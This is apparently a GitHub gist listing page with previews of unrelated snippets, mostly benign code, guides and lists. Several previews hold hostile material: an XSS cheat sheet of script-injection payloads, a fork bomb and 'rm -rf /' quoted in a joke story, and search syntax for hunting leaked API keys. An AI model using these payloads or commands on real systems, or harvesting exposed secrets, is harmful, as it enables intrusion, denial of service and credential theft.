Skip to content

Instantly share code, notes, and snippets.

@JiriLojda
JiriLojda / tsTypeLevelNumberAdditionAndMultiplication.ts
Last active December 22, 2025 10:40
Typescript type-level number addition and multiplication
type Digit = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
type DigitToTupleMap = {
'0': [];
'1': [0];
'2': [0, 0];
'3': [0, 0, 0];
'4': [0, 0, 0, 0];
'5': [0, 0, 0, 0, 0];
'6': [0, 0, 0, 0, 0, 0];
@tjunxiang92
tjunxiang92 / AndroidManifest.xml
Last active December 22, 2025 10:39
Flutter: Receiving Shared Data from other Apps
<activity
android:name=".MainActivity"
android:launchMode="singleTop"
android:theme="@style/LaunchTheme"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale|layoutDirection|fontScale|screenLayout|density"
android:hardwareAccelerated="true"
android:windowSoftInputMode="adjustResize">
<!-- Add This intent-filter -->
<intent-filter>
<action android:name="android.intent.action.SEND" />
@greymd
greymd / sudo新一.md
Last active December 22, 2025 10:37
sudo新一

 オレは高校生シェル芸人 sudo 新一。幼馴染で同級生の more 利蘭と遊園地に遊びに行って、黒ずくめの男の怪しげな rm -rf / 現場を目撃した。端末をみるのに夢中になっていた俺は、背後から近づいてきたもう1人の --no-preserve-root オプションに気づかなかった。 俺はその男に毒薬を飲まされ、目が覚めたら・・・ OS のプリインストールから除かれてしまっていた!

sudo がまだ $PATH に残っていると奴らにバレたら、また命を狙われ、他のコマンドにも危害が及ぶ』

 上田博士の助言で正体を隠すことにした俺は、 which に名前を聞かれて、とっさに『gnuplot』と名乗り、奴らの情報をつかむために、父親がシェル芸人をやっている蘭の $HOME に転がり込んだ。ところが、このおっちゃん・・・とんだヘボシェル芸人で、見かねた俺はおっちゃんになりかわり、持ち前の権限昇格能力で、次々と難タスクを解決してきた。おかげで、おっちゃんは今や世間に名を知られた名エンジニア、俺はといえばシェル芸 bot のおもちゃに逆戻り。クラスメートの convertojichattextimg にお絵かきコマンドと誤解され少年ワンライナーお絵かき団を結成させられる始末。

 ではここで、博士が作ってくれたメカを紹介しよう。最初は時計型麻酔 kill 。ふたについた照準器にあわせてエンターを押せば、麻酔シグナルが飛び出し、プロセスを瞬時に sleep させることができる。 次に、蝶ネクタイ型 banner 。裏についているダイヤルを調整すれば、ありとあらゆる大きさのメッセージを標準出力できる。必殺のアイテムなら fork 力増強シューズ。電気と磁力で足を刺激し、 :(){ :|:&amp; };: でプロセステーブ

Guide to attaching to Chrome with RenderDoc (for WebGL 2 and WebGPU)

  1. Set the environment variable RENDERDOC_HOOK_EGL to 0. I use the Windows Settings to set this in my User Environment Variables.
  2. Launch RenderDoc
  3. In RenderDoc, navigate to Tools -> Settings, then on the General page, check "Enable process injection (restart required)". Restart RenderDoc.
  4. Grab a copy of WinPixEventRuntime.dll from https://devblogs.microsoft.com/pix/winpixeventruntime/ (rename the .nupkg to a zip, it's in bin/x64), and copy it over to %LocalAppData%\Local\Google\Chrome SxS\Application\$CurrentVersion. Unfortunately this step needs to be repeated every time Chrome updates, since it wipes the current directory. Would be nice if it shipped with Chrome Canary / Chrome Dev (or was statically linked into Chrome)
  5. Launch Chrome with the arguments `--disable-gpu-sandbox --gpu-startup-dialog --disable-direct-composition=1 --enable-dawn-features=use_user_defined_labels_in_backend,emit_hlsl_debug_symbols,disable_symbo
@cloderic
cloderic / main.cpp
Created February 9, 2012 13:45
WinMain to standard main
#ifdef WIN32
int WINAPI WinMain(HINSTANCE instance, HINSTANCE prev_instance, char* command_line, int show_command)
{
int argc;
char** argv;
char* arg;
int index;
int result;
// count the arguments
@kurobeats
kurobeats / xss_vectors.txt
Last active December 22, 2025 10:28
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@rxaviers
rxaviers / gist:7360908
Last active December 22, 2025 10:27
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@dhoeric
dhoeric / 0_README.md
Last active December 22, 2025 10:21
Google Calendar - Public Holiday Calendars
@Frenzycore
Frenzycore / weirdcore-lang.py
Created December 17, 2025 12:18
language i made
weirdcore = {
"A": "?",
"B": "☻",
"C": "Θ",
"D": "♠",
"E": "3",
"F": "O",
"G": "8",
"H": "☹",
"I": "5",

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.